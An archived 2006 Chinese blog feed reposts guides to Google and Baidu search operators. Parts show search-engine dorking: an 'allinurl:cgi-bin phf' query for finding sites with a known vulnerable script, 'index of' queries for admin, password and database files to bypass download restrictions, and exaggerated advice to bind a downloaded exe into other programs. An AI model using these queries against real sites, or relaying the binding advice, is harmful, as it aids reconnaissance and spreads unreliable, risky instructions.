		<p>“inurl”语法返回的网页链接中包含第一个关键字，后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示
在目录名称或者网页名称中，比如“MP3”、“GALLARY”等，于是，就可以用INURL语法找到这些相关资源链接，然后，用第二个关键词确定是否有
某项具体资料。INURL语法和基本搜索语法的最大区别在于，前者通常能提供非常精确的专题资料。 示例：查找MIDI曲“沧海一声笑”。<br />搜索：“inurl:midi “沧海一声笑””<br />结果：已搜索有关inurl:midi "沧海一声笑"的中文(简体)网页。 共约有27项查询结果，这是第1-10项 。 搜索用时0.34秒。</p>
		<p>注意：“inurl:”后面不能有空格，Google也不对URL符号如“/”进行搜索。例如，Google会把“cgi-bin/phf”中的“/”当成空格处理。</p>
		<p>“allinurl”语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。</p>
		<p>示例：查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序（这个脚本是不安全的），表现在链接中就是“域名/cgi-bin/phf”。<br />搜索：“allinurl:"cgi-bin" phf +com”<br />结果：已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有51项查询结果，这是第1-10项 。 搜索用时0.11秒。</p>
		<p>8.4，搜索的关键字包含在网页标题中</p>
		<p>“intitle”和“allintitle”的用法类似于上面的inurl和allinurl，只是后者对URL进行查询，而前者对网页的标题栏
进行查询。网页标题，就是HTML标记语言title中之间的部分。网页设计的一个原则就是要把主页的关键内容用简洁的语言表示在网页标题中。因此，只查
询标题栏，通常也可以找到高相关率的专题页面。 示例：查找日本明星藤原纪香的照片集。<br />搜索：“intitle:藤原纪香 "写真集"”<br />结果：已搜索有关intitle:藤原纪香 "写真集"的中文(简体)网页。 共约有315项查询结果，这是第1-10项 。 搜索用时0.15秒。</p>
		<p>8.5，搜索的关键字包含在网页的“锚”（anchor）链点内</p>
		<p>所谓“锚”，就是在同一个网页中快速切换链接点。与URL和TITLE类似，Google提供了两种对anchor的检索，“inanchor”和“allincnchor”。对此不作详述。</p>
		<p>
				<b>9，其他罕用语法</b>
		</p>
		<p>9.1，搜索所有链接到某个URL地址的网页</p>
		<p>如果你拥有一个个人网站，估计很想知道有多少人对你的网站作了链接。而“link”语法就能让你迅速达到这个目的。</p>
		<p>示例：搜索所有含指向华军软件园“www.newhua.com”链接的网页。<br />搜索：“link:www.newhua.com”<br />结果：搜索有链接到www.newhua.com的网页 。 共约有920项查询结果，这是第1-10项 。 搜索用时0.12秒。</p>
		<p>注意：“link”不能与其他语法相混合操作，所以“link:”后面即使有空格，也将被Google忽略。另外还要说明的是，link只列出Google索引链接很小一部分，而非全部，所以如果你用Google没有搜到链到你的主页的链接，也不必灰心丧气。</p>
		<p>除了上述功能，link语法还有其它妙用。一般说来，做友情链接的网站都有相似地方。这样，你可以通过这些友情链接，找到一大批具有相似内容的网
站。比如说，你是个天文爱好者，你发现某网站非常不错，那么，可以用link语法查一下与之做链接的网站，也许可以找到更多符合你兴趣的内容。</p>
		<p>9.2，查找与某个页面结构内容相似的页面</p>
		<p>“related”用来搜索结构内容方面相似的网页。例：搜索所有与中文新浪网主页相似的页面（如网易首页，搜狐首页，中华网首页等），
“related:wwwsina.com.cn/index.shtml”。我到现在也不明白这个语法有什么作用，如果有谁知道，请不吝指教。预先感
谢。:)</p>
		<p>9.3，从Google服务器上缓存页面中查询信息</p>
		<p>“cache”用来搜索Google服务器上某页面的缓存，通常用于查找某些已经被删除的死链接网页，相当于使用普通搜索结果页面中的“网页快照”功能。</p>
		<p>其它罕用语法如info、stock等不一一介绍，有兴趣的读者可以参阅Google大全。</p>
		<p>
				<b>10，图片搜索</b>
		</p>
		<p>Google自称可以检索390,000,000张图片，并称自己为“互联网上最好用的图像搜索工具”。从使用结果来看，Google的图片搜索的
确不错，但个人以为比AltaVista的还是要差一些，主要体现在检索图片数量比不上AV，匹配度比AV的图片搜索器也差了些。但AltaVista国
内用户无法正常访问，因此对中国用户而言，Google的图片搜索引擎已经是最好的了。</p>
		<p>Google首页点击“图像”链接就进入了Google的图像搜索界面“<a href="http://images.google.com/">images.Google.com</a>”。
你可以在关键字栏位内输入描述图像内容的关键字，如“britney
spears”，就会搜索到大量的小甜甜布兰妮的图片。我目前尚不是很清楚图片的排列标准，不过以观察来看，似乎图片文件名完全符合关键字的结果排列比较
考前，然后才按照普通的页面搜索时的标准排列。</p>
		<p>Google给出的搜索结果具有一个直观的缩略图（THUMBNAIL），以及对该缩略图的简单描述，如图像文件名称，以及大小等。点击缩略图，页
面分成两祯，上祯是图像之缩略图，以及页面链接，而下祯，则是该图像所处的页面。屏幕右上角有一个“Remove
Frame”的按钮，可以把框架页面迅速切换到单祯的结果页面，非常方便。</p>
		<p>Google图像搜索目前支持的语法包括基本的搜索语法如“ ”、“-”、“OR”、“site”和 “filetype:”。其中“filetype:”的后缀只能是几种限定的图片类似，如JPG，GIF等。</p>
		<p>示例：查找新浪网上本拉登的图片<br />搜索：“拉登 OR 拉丹 site:sina.com.cn”<br />结果：搜索有关 拉登 OR 拉丹 site:sina.com.cn 的图片。 共有6项查询结果，这是第1-6项。 搜索用时0.36秒。</p>
		<p>这里我想说明一点的是，images.google.com作为专门的图片搜索引擎，实际上有其特殊的用途。</p>
		<p>举个例子，互联网上本拉登的照片成千上万，但是，它们都是分散的，往往随机的分布于各种新闻报道中。如果用搜索图片库的方式（最容易想到的如
“Ben Ladin
photo”），来搜索本拉登的照片，显然是不恰当的，因为很少有人专门为拉登建一个在线相册。在这个时候，images.google.com就派上用
场了。</p>
		<p>但是，如果查找的图片在网上有很多主题“gallary”，如诸多电影电视明星的照片，则明显就不适合用images.google.com来查找了。</p>
		<p>images.google.com对于很多报纸杂志的编辑，绝对是一个雪中送炭式的工具。比如要在某个版面上插一张专题图片，用google的图片搜索功能几秒钟就可以搞定。</p>
		<p>综上，可以有这样的一般性结论：如果要搜索的图片是分散的，则用google图片搜索；如果要搜索的图片通常是处于某个图片集合中的，则不适合用google图片搜索。</p>
		<p>
				<b>11，目录检索</b>
		</p>
		<p>如果不想搜索广泛的网页，而是想寻找某些专题网站，可以访问Google的分类目录“<a href="http://directory.google.com/">http://directory.Google.com/</a>”，中文目录是“<a href="http://directory.google.com/Top/World/Chinese_Simplified/">http://directory.Google.com/Top/World/Chinese_Simplified/</a>”。
分类的网站目录一般由专人负责，分类明确，信息集中。因此读者应该养成这样的习惯：首先考虑所需要的信息能否在一个专门主题的网站上找到。不过需要说明的
是，用目录检索，往往需要用户对查询的领域很熟悉。否则，连查询的内容属于哪个类目都不知道，目录浏览也就无从谈及了。
目前Google使用的分类目录采用了ODP的内容。“Open Directory
Project”是网景公司所主持的一项大型公共网页目录。由全世界各地的义务编辑人员来审核挑选网页，并依照网页的性质及内容来分门别类。因此，在某一
目录门类中进行搜索往往能有更高的命中率。另外，Google根据其专业的“网页级别”（PageRank）技术对目录中登录的网站进行了排序，可以让一
般的检索更具高效率。</p>
		<p>示例：查找一下介绍搜索引擎方面的中文网站<br />搜索：先进入中文简体分类目录，再进入“计算机”目录，再进入“互联网络”子目录，再进入“搜
寻”子目录。我们看到在“World &gt; Chinese Simplified &gt; 计算机 &gt; 互联网络 &gt;
搜寻”下，还有两个子目录“分类目录 (33) 搜索引擎 (10)”，以及6个相关网站。显然，这些都是我们所需要的信息。</p>
		<p>除了用鼠标层层点入，也可以在目录中检索。比如，在上例的“互联网络”目录下，选中“只在互联网络中搜索”选项，在搜索栏内填入“搜索引擎”进行搜索。<br />结果：在分类Google 网页目录项中搜索搜索引擎。 共约有387项查询结果，这是第11-20项 。 搜索用时0.09秒。</p>
		<p>可以看到，上述查询结果比普通的检索更有效，因为在分类“互联网络”下进行搜索剔除了很多不相关的诸如新闻之类的无效信息。不过，对于中文用户而
言，现在最大的问题是志愿的中文目录编辑太少，导致收录站点太少，因此搜索结果范围显得过于狭隘。但愿这个问题能随着Google以及ODP项目在国内名
声的响亮而能得到改观。</p>
		<p>
				<b>12，新闻组搜索</b>
		</p>
		<p>新闻组有详尽的分类主题，某些主题还有专人管理和编辑，具有大量的有价值信息。由于新闻组包含的信息实在是海量，因此不利用工具进行检索是不大可能
的。DEJA一直是新闻组搜索引擎中的佼佼者。2001年2月份，Google将DEJA收购并提供了所有DEJA的功能。现在，除了搜索之外，
Google还支持新闻组的WEB方式浏览和张贴功能。</p>
		<p>进入Google新闻组“<a href="http://groups.google.com/">http://groups.Google.com/</a>”，你有两种信息查找方式。一种是一层层的点击进入特定主题讨论组，另一种则是直接搜索。现在，我们进行一个最简单的搜索试验，查找一下新闻组中关于山顶洞人的讨论信息。</p>
		<p>搜索：“山顶洞人”<br />结果：在各群组内搜索 山顶洞人 共约有2,400项查询结果，这是第1-10项 。 搜索用时0.94秒。 搜索结果默认按照“留言内容”排列，但是你也可以点击“依照日期”按钮，让帖子按照发布日期排列。</p>
		<p>因为新闻组中的帖子实在是多，而且又涉及一些普通搜索所没有的语法，所以建议使用“高级群组搜寻”进入高级搜索界面。新闻组高级搜索提供留言内容、分类主题、标题、留言者、留言代码、语言和发布日期作为条件进行搜索。其中作者项指作者发帖所用的唯一识别号电子信箱。</p>
		<p>
				<b>13，Google的其他杰出功能</b>
		</p>
		<p>13.1网页快照</p>
		<p>网页快照是Google抓下来缓存在服务器上的网页。它有三个作用：</p>
		<p>第一， 如果原地址打开很慢，那么可以直接查看Google缓存页面，因为Google服务器速度极快。</p>
		<p>第二， 如果原链接已经死掉或者因为网络的原因暂时链接不通，那么可以通过Google快照看到该页面信息。当然，快照内容不是该页最新页面。</p>
		<p>第三， 如果打开的页面信息量巨大，一下子找不到关键词所在位置，那么可以通过Google快照，因为快照中Google用黄色表明关键字位置。</p>
		<p>
				<br />13.2，集成化的工具条</p>
		<p>为了方便搜索者，Google提供了工具条，集成于浏览器中，用户无需打开Google主页就可以在工具条内输入关键字进行搜索。此外，工具条还提
供了其他许多功能，如显示页面PageRank等。最方便的一点在于用户可以快捷的在Google主页、目录服务、新闻组搜索、高级搜索和搜索设定之间切
换。欲安装Google的工具条，可以访问“<a href="http://toolbar.google.com/">http://toolbar.Google.com/</a>”，按页面提示可以自动下载并安装。不过，Google工具条目前只支持IE5.0以上版本。</p>
		<p>对于经常进行网络搜索者而言，Google工具条实在是必备的东西！！</p>
		<p>13.3，单词英文解释</p>
		<p>写英文文章的时候，最头疼的事情就是对某个英文单词的用法不确定。现在有了Google，一切就迎刃而解了！无论你是想查找某个生词的意思还是想了解某个单词的用法，均可使用在线词典。</p>
		<p>进入英文Google，输入你要查的单词。举个例子，我想查一下suggest的用法。结果如下：“Searched the web for
suggest. Results 1 - 10 of about 8,000,000. Search took 0.08 seconds.
”注意看上面句子中，单词suggest下出现了一个横线，点击这个链接，就跳转到另外一个网站“<a href="http://www.dictionary.com/">http://www.dictionary.com/</a>”，Google已经把单词提交给该网站的查询脚本。看看这个网站所提供的详尽解释吧。:)</p>
		<p>13.4，网页翻译</p>
		<p>你懂英文，但是你不见得就懂德文、法文、拉丁文。如果搜索出来的页面是这些语言怎么办？呵呵，Google提供了网页翻译功能！！虽然目前只支持有限的拉丁语、法语、西班牙语、德语和葡萄牙文，但是我不得不承认，这是个杰出功能。</p>
		<p>试着做以下搜索：“big bang site:fr”。这个表示查找关于宇宙大爆炸的法文网页。看第一条结果：</p>
		<p>The Big Bang Website - [ Translate this page ]<br />... A propos de Big Bang. Le dernier numéro en date. Les anciens numéros. Autres<br />activités. Concerts progressifs en France. Emissions de radio. Liens.<br />perso.club-internet.fr/calyx/bigbang/ - 3k - Cached - Similar pages</p>
		<p>有点晕。没关系，点击“Translate this page”按钮。再看结果，嗯，大致能看明白，这原来是个叫“big bang”的乐队的网站，与大爆炸无关...</p>
		<p>机器翻译是一个很前沿的人工智能课题，想指望翻译出来的结果跟专门用英语撰写的内容是不可能的。但西文间的互相转译比中英文机译强得多得多了。至少能看明白。</p>
		<p>13.5，单词纠错</p>
		<p>笔者记忆力很差，英文单词经常拼写错误。但Google有纠错功能。比如在写上文的时候，我要用到英文单词“tutorial”，我只是依稀记得好
像是“tatorial”的样子，但不肯定，于是用Google查了一下，它马上提醒：“您要找的会不会是： tutorial
”，呵呵，正是这个单词。</p>
		<p>13.6，繁简转换</p>
		<p>对中文用户而言，常希望能同时检索繁体和简体信息。Google能做到这一点。Google默认使用繁简自动转换功能，因此你输入的简体关键字也将被转换成繁体做检索。这样省了不少力气。当然，如果你不希望这样的话，也可以在“使用偏好”中把这个选项关掉。</p>
		<p>13.7，搜索结果过滤</p>
		<p>网络上的成人内容浩如烟海，而且很多站点具有欺骗或者其他不良企图，浏览者很容易掉入其中的陷阱。为此，Google新设立了成人内容过滤功能，见Google的设置页面，<a href="http://www.google.com/preferences">http://www.Google.com/preferences</a>，最底下有一个选项SafeSearch Filtering。不过，中文状态下的Google尚没有这个功能。</p>
		<p>
				<b>14，Google尚未发布的一些新特性和功能</b>
		</p>
		<p>14.1，对网页更新日期做出限定“daterange:”</p>
		<p>评价一个搜索引擎的好坏，更新频率是一个很关键因素。通常情况下，我们总希望能找到最新的网页。Google已经开发了对更新日期做限定的搜索语
法，但目前还未公布。而且比较麻烦的是，Google现在支持的日期格式为julian（凯撒日）格式，把通用日期数值切换成julian格式需要借助第
三方网站：<a href="http://www.tesre.bo.cnr.it/%7Emauro/JD/">http://www.tesre.bo.cnr.it/~mauro/JD/</a>。不过，在下面这个自称是“Google终极搜索界面”的网页上，你已经可以利用Google的这项新特性了，它自动提供日期转换功能。</p>
		<p>Google Ultimate Interface：<a href="http://www.faganfinder.com/google.html">http://www.faganfinder.com/google.html</a></p>
		<p>Google为什么要这样做呢？也许是在测试阶段，不想让太多人使用吧。:)</p>
		<p>14.2，新闻搜索“http://news.google.com/”</p>
		<p>Google的新闻搜索尚在B测试阶段，但使用起来已经非常不错了。新闻首页按头条新闻，各国新闻，以及不同领域做了分类。你可以通过Google搜索各大门户和新闻网站的新闻，简单、快捷、方便。遗憾的是，目前Google新闻只检索英文信息。</p>
		<p>14.3，分类广告搜索“http://catalogs.google.com/”</p>
		<p>这也在B测试阶段。主要是对电子分类广告做检索。广告页为JPG图片格式。</p>
		<p>14.4，其它Google的最新发展动态</p>
		<p>想了解Google公司的工程师们都在忙些什么吗？去看一下Google实验室（http://labs.google.com/）吧。Google的最新设想都在这个地方向访问者展现出来。现在处于发展和试验阶段的新功能有：术语查询、语音查询、键盘查询等等。</p>
		<p>网络工程师和程序员可以看看这个地方：<a href="http://www.google.com/apis/">http://www.google.com/apis/</a>，我想可以让你喜出望外的。</p>
		<p>14.5，一个有趣的地方</p>
		<p>想看看世界各国网民都用Google搜索什么信息么？到<a href="http://www.google.com/press/zeitgeist.html">http://www.google.com/press/zeitgeist.html</a>看一下就知道了。从这些资讯中，你大致可以了解到世界热点和流行时尚走向。:)</p>
		<p>
				<b>15，后记</b>
		</p>
		<p>这个文章4.0版本与3.0版本相比，变更很大，主要把一些与Google无关的东西删除了，另外随Google的变化作了一些修正，并增加了一些
Google尚未发布的新功能。关于搜索技巧和搜索实例，是各个搜索引擎共通的东西，是搜索者长期的经验积累，要写出来，是件工程很浩大的事情，因此在这
个小文章中我就不献丑了。</p>
		<p>随着时间的推移，我发现搜索已经成为网络生活的一部分。工作需要搜索技术文档、客户信息；购物需要搜索商品信息和指南；娱乐需要搜索相关背景资料和
图片。搜索已经变得无处不在，而Google则相应的成了工作和生活中的一个必备工具。套用雅虎的一句广告词，我们也许应该这样说：“今天你Google
了吗？”<br /></p>
<img src ="http://www.cnitblog.com/martin/aggbug/9178.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-14 12:38 <a href="http://www.cnitblog.com/martin/archive/2006/04/14/9178.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Google搜索引擎另类使用技巧</title><link>http://www.cnitblog.com/martin/archive/2006/04/14/9165.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 14 Apr 2006 01:16:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/14/9165.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9165.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/14/9165.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9165.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9165.html</trackback:ping><description><![CDATA[From: http://academy2003.cpst.net.cn/popul/computer/enets/artic/50617134343.html<br /><br /><table border="0" width="100%"><tbody><tr><td class="p14" align="center"><font color=""><b>Google搜索引擎另类使用技巧</b></font></td></tr><tr><td align="center">2005-06-17 13:43:43 李东博</td></tr><tr><td> </td></tr><tr><td class="p11">　　你可能每天都要使用很多遍Google这个搜索引擎站点，下面的这种新鲜玩法你听说过吗？ <br /><br />　　网上总会有许多人共享出一些不受保护的音乐文件目录(可称之为“开放目录”)，使用在Google中输入以下关键词，就会列出大量的音乐文件目录列表。 <br /><br />　　-inurl:htm -inurl:html intitle:"index of" mp3 <br /><br />　
　在以上字符串中我们用到了“index of”和inurl命令，作用是只列出目录。最后的关键词“mp3”告诉Google在这些目录中搜索mp3音
乐文件。当然，不止可以搜索mp3，还可以将关键词改为“wma”、“ogg”、“avi”等，这样就可以搜索到不同的音乐或视频文件。 <br /><br />　　更进一步，比如你要搜索有关网页设计的内容，可以将最后的关键词改为“网页设计”。如果想搜索一些学习的教程，则改为“教程”。也可以指定两个或以上的关键词，比如： <br /><br />　　-inurl:htm -inurl:html intitle:"index of" photoshop 教程 <br /><br />　　或者，比如要搜布兰妮的mp3歌曲，则可以如下输入： <br /><br />　　-inurl:htm -inurl:html intitle:"index of" mp3 "britney spears" <br /><br />　　再比如，搜索李连杰的电影(avi格式的)，可以输入： <br /><br />　　-inurl:htm -inurl:html intitle:"index of" avi "jet li" </td></tr></tbody></table><br /><img src ="http://www.cnitblog.com/martin/aggbug/9165.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-14 09:16 <a href="http://www.cnitblog.com/martin/archive/2006/04/14/9165.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>百度专业搜索</title><link>http://www.cnitblog.com/martin/archive/2006/04/13/9150.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Thu, 13 Apr 2006 14:52:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/13/9150.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9150.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/13/9150.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9150.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9150.html</trackback:ping><description><![CDATA[
		<div class="t3 bcg bgg">From: http://zhidao.baidu.com/question/1032551.html<br /><br /><br />已解决</div>
		<div class="b3 bcg mb12">
				<div class="p90">
						<div class="f14 B wr">index of xxx</div>
						<div class="wr">
								<span class="red">
										<img src="http://img.baidu.com/img/iknow/icn_point.gif" align="absmiddle" height="16" width="16" /> 悬赏分：5</span> - <span class="gray">解决时间：2005-11-12 23:37</span></div>
						<div class="f14 wr">比喻说我在百度搜索index of doc,它就会搜索出关于.doc的所有文件，类似的命令还有那些啊？？
<br />请教各位大侠！！！</div>
						<div class="gray" align="right">提问者：	<a href="http://passport.baidu.com/?detail&amp;aid=7&amp;default_tab=2&amp;un=cyb%5F007" target="_blank">cyb_007</a> - <a href="http://www.baidu.com/search/zhidao_help.html#n5" target="_blank">童生 一级</a></div>
				</div>
		</div>
		<div class="t3 bcr bgr">
				<img src="http://img.baidu.com/img/iknow/icn_best.gif" align="absmiddle" height="22" width="24" />最佳答案</div>
		<div class="f14 wr">找专业报告
<br /><br />很多情况下，我们需要有权威性的，信息量大的专业报告或者论文。比如，我们需要了解中国互联网状况，就需要找一个全面的评估报告，而不是某某记者
的一篇文章；我们需要对某个学术问题进行深入研究，就需要找这方面的专业论文。找这类资源，除了构建合适的关键词之外，我们还需要了解一点，那就是：重要
文档在互联网上存在的方式，往往不是网页格式，而是Office文档或者PDF文档。Office文档我们都熟悉，PDF文档也许有的人并不清楚。PDF
文档是Adobe公司开发的一种图文混排电子文档格式，能在不同平台上浏览，是电子出版的标准格式之一。多数上市公司的年报，就是用PDF做的。很多公司
的产品手册，也以PDF格式放在网上。
<br /><br />百度以“filetype：”这个语法来对搜索对象做限制，冒号后是文档格式，如PDF、DOC、XLS等。
<br /><br />例：霍金 黑洞 filetype:pdf
<br /><br /><br /><br /><br />返回页首 
<br /><br />找论文
<br /><br />找论文网站 网上有很多收集论文的网站。先通过搜索引擎找到这些网站，然后再在这些网站上查找自己需要的资料，这是一种方案。找这类网站，简单的用“论文”做关键词进行搜索即可。 
<br />例：论文
<br /><br />直接找特定论文 除了找论文网站，我们也可以直接搜索某个专题的论文。看过论文的都知道，一般的论文，都有一定的格式，除了标题、正文、附录，还需要有论文关键词，论文摘要等。其中， “关键词”和“摘要”是论文的特征词汇。而论文主题，通常会出现在网页标题中。
<br /><br />例：关键词 摘要 intitle:物流 
<br /><br /><br /><br />返回页首 
<br /><br />找范文
<br /><br />写应用文的时候，找几篇范文对照着写，可以提高效率。
<br /><br />找市场调查报告范文 市场调查报告的网页，有几个特点。第一是网页标题中通常会有“xxxx调查报告”的字样；第二是在正文中，通常会有几个特征词，如“市场”、“需求”、“消费”等。于是，利用intitle语法，就可以快速找到类似范文。 
<br />例：市场 消费 需求 intitle:调查报告
<br /><br />找申请书范文 申请书有多种多样，常见的比如入党申请书。申请书有一定的格式，因此只要找到相应的特征词，问题也就迎刃而解。比如入党申请书的最明显的特征词就是“我志愿加入中国共产党”。 
<br />例：我志愿加入中国共产党 入党申请书
<br /><br />找工作总结范文
还是那个关键问题，工作总结会有什么样的特征词？将心比心的设想一下，就会发现，工作总结，总会写的象八股文一样，“一、二、三”，“第一，第二，第
三”，“首先，其次，最后”。而且工作总结的标题中，通常会出现“工作总结”四个字，于是，问题就很好解决了： <br />例：第一 第二 第三 intitle:工作总结<br />参考资料：<a href="http://www.baidu.com/search/skill.html#07" target="_blank">http://www.baidu.com/search/skill.html#07</a></div>
<img src ="http://www.cnitblog.com/martin/aggbug/9150.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-13 22:52 <a href="http://www.cnitblog.com/martin/archive/2006/04/13/9150.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Google新玩法（转载）</title><link>http://www.cnitblog.com/martin/archive/2006/04/13/9147.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Thu, 13 Apr 2006 14:08:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/13/9147.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9147.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/13/9147.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9147.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9147.html</trackback:ping><description><![CDATA[
		<font color="#000000">搜索Google大家都用过吧？我们正是利用它强劲的搜索功能来突破封锁下载，Google搜索和限制下载有什么关系，没可能实现吧？不要不相信哦，往下看哦！<br /><br />http://www.google.com/intl/zh-CN/<br />http://www.3721.com/<br />http://www.baidu.com/<br /><br />
首先打开Google，在关键词输入框中输入“index
of/“inurl:lib(双引号为英文状态下），选择“搜索简体中文网页”选项，回车搜索，得到了一些网页，不要以为这是一些普通的页面，其实它们是
一些图书网站的资源列表，点击打开它来看看，怎么样？是不是所有资源一收眼底了？<br /><br />使用其他关键字可能得到更多的资源：<br /><br />在搜索框上输入：“index of /“cnki<br /><br />再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！<br /><br />在搜索框上输入：“index of /“ ppt<br /><br />再按搜索你就可以突破网站入口下载powerpint作品！<br /><br />在搜索框上输入：“index of /“mp3<br /><br />再按搜索你就可以突破网站入口下载mp3、rm等影视作品！<br /><br />在搜索框上输入：“index of /“swf<br /><br />再按搜索你就可以突破网站入口下载flash作品！<br /><br />在搜索框上输入：“index of /“加上要下载的软件名<br /><br />再按搜索你就可以突破网站入口下载软件！<br /><br />在搜索框上输入：“index of /“AVI<br /><br />再按搜索你就可以突破网站入口下载AVI视频<br /><br />你会找到什么呢？同理，把AVI换为MPEG看看又会找到什么呢？呵呵！接下来不用我再教了吧？那就试一下你的手气吧！<br /><br />“index of /“ RMVB<br />“index of /“ WMA<br />“index of /“ MTV<br />“index of /“ MPEG<br /> 以下是百度搜索排名<br />1. index of mpeg4<br />3. index of mp3<br />4. index of cnki<br />5. index of rmvb<br />6. index of rm<br />7. index of movie<br />8. index of swf<br />9. index of jpg<br />10. index of admin<br />12. index of pdf<br />13. index of doc<br />14. index of wmv<br />15. index of mdb<br />16. index of mpg<br />17. index of mtv<br />18. index of software<br />19. index of mov<br />20. index of asf<br />23. index of lib<br />24. index of vod<br />25. index of rar<br />27. index of exe<br />28. index of iso<br />29. index of video<br />30. index of book<br />31. index of soft<br />32. index of chm<br />33. index of password<br />34. index of game<br />35. index of music<br />36. index of dvd<br />37. index of mid<br />38. index of ebook<br />40. index of download<br /><br />到这里，大家也许都明白了，其实就是“index of /“这个关键词在起的作用，使用它可以直接进入网站首页下的所有文件和文件夹中，不必在通过HTTP的网页形式了，从而避免了那些网站的限制，作到了突破限制下载。<br /><br />怎么回事？点鼠标右键直接用网际快车下不了，都是网页，链接地址是乱码。别灰心懈气，可以在新窗口中打开页面中的超链接，真实地址不就出来了。下面就用马克思ie（mxie）这个超级P2P共享资源搜索引擎帮你搞定收费网站。<br />马克思ie简体中文网址：http://cn.mxie.com/down.html<br />http://cn.mxie.com/mxie0400Setup_cn.exe<br /><br />马克思ie（mxie）<br />软件大小：3307KB<br />软件语言：简体中文<br />软件类别：国产软件/免费版/搜寻引擎<br />运行环境：Win9x/Me/NT/2000/XP<br />
马克思ie（mxie）是一个拥有网页浏览器功能的超级P2P搜索引擎，完全免费！各种音乐、电影、动漫、小说、图片等娱乐文件，一切你想得到的都可以找
到！采用目前最为先进的多点P2P技术，搜寻到的就能下载到，绝对无死链！神奇的“越多人下载越高速”特性，充分挖掘你的带宽潜力，保证高速！独家装备了
强力防火墙穿透利器，即使在严密防护的企业防火墙后也能通行自如。<br />完全免费，永远免费！<br />完全免费！永远免费！马克思ie（mxie）就是要把免费进行到底！奉行网络上的马克思主义，打造影音娱乐共产帝国！<br /><br />编者自述：此方法采用独特技巧，集成了网络加速及穿透防火墙的P2P共享技术，能够无限提升你的网速！－－－－高手自然一点就透，对于菜鸟本人也不想浪费唇舌多作解释，以下跟着洒家向前冲：<br /><br />先下一个exe文件合成器“绿色分割{X} V3.1”：<br />http://www.pcdog.com/soft/20205.htm<br />http://www1.pcdog.com/down/Split3.1.rar<br /><br />解压到指定文件夹。再下一个加速软件“speed4web”：<br />Speed4WEB 可以帮忙你把浏览器的速度提升到原来的300%!程序使用简单,提交小巧!功能强大!<br />Speed4WEB V2.2.3.2 汉化版：<br />http://www.yqdown.com/soft/675.htm<br />http://km.yqdown.com:8989/UUAuth/wlgj/Speed4WEB_v2.H.rar<br />http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe<br />http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe<br /><br />解压安装后点击桌面图标打开，在所有选项前均打勾（除了“总在顶部”），最小化令其运行。<br />点桌面图标右键，点属性，点查找目标，找出其真实应用文件“Speed4WEB.exe”，将它复制到指定文件夹。<br /><br />选择你最想加速的文件***：点桌面图标右键，点属性，点查找目标，找出其真实应用文件“***.exe”，复制到指定文件夹。<br /><br />
双击打开绿色分割，点“合并”，点“合并任意文件”，点+号依次选择“***.exe、Speed4WEB.exe”，点“设置”，点“正常、分割完成后
生成合并exe文件”，点“保存文件”选择***文件原路径，重命名为“***.exe”，点开始即可替换原“***.exe”。<br /><br />注意：合并过程中***软件不可使用，否则无法成功替换原***文件！也不可以关闭Speed4WEB！<br /><br />再下一个共享资源搜索利器“马克思ieV.0.4.0.0 最新版--<br />马克思ie简体中文网址：http://cn.mxie.com/down.html<br />http://cn.mxie.com/mxie0400Setup_cn.exe<br /><br />
解压双击安装后，以“马克思ie（mxie）”为例，下载后重命名为“马克思ie（mxie）.exe”即可直接双击安装，点桌面上刚刚生成的”马克思
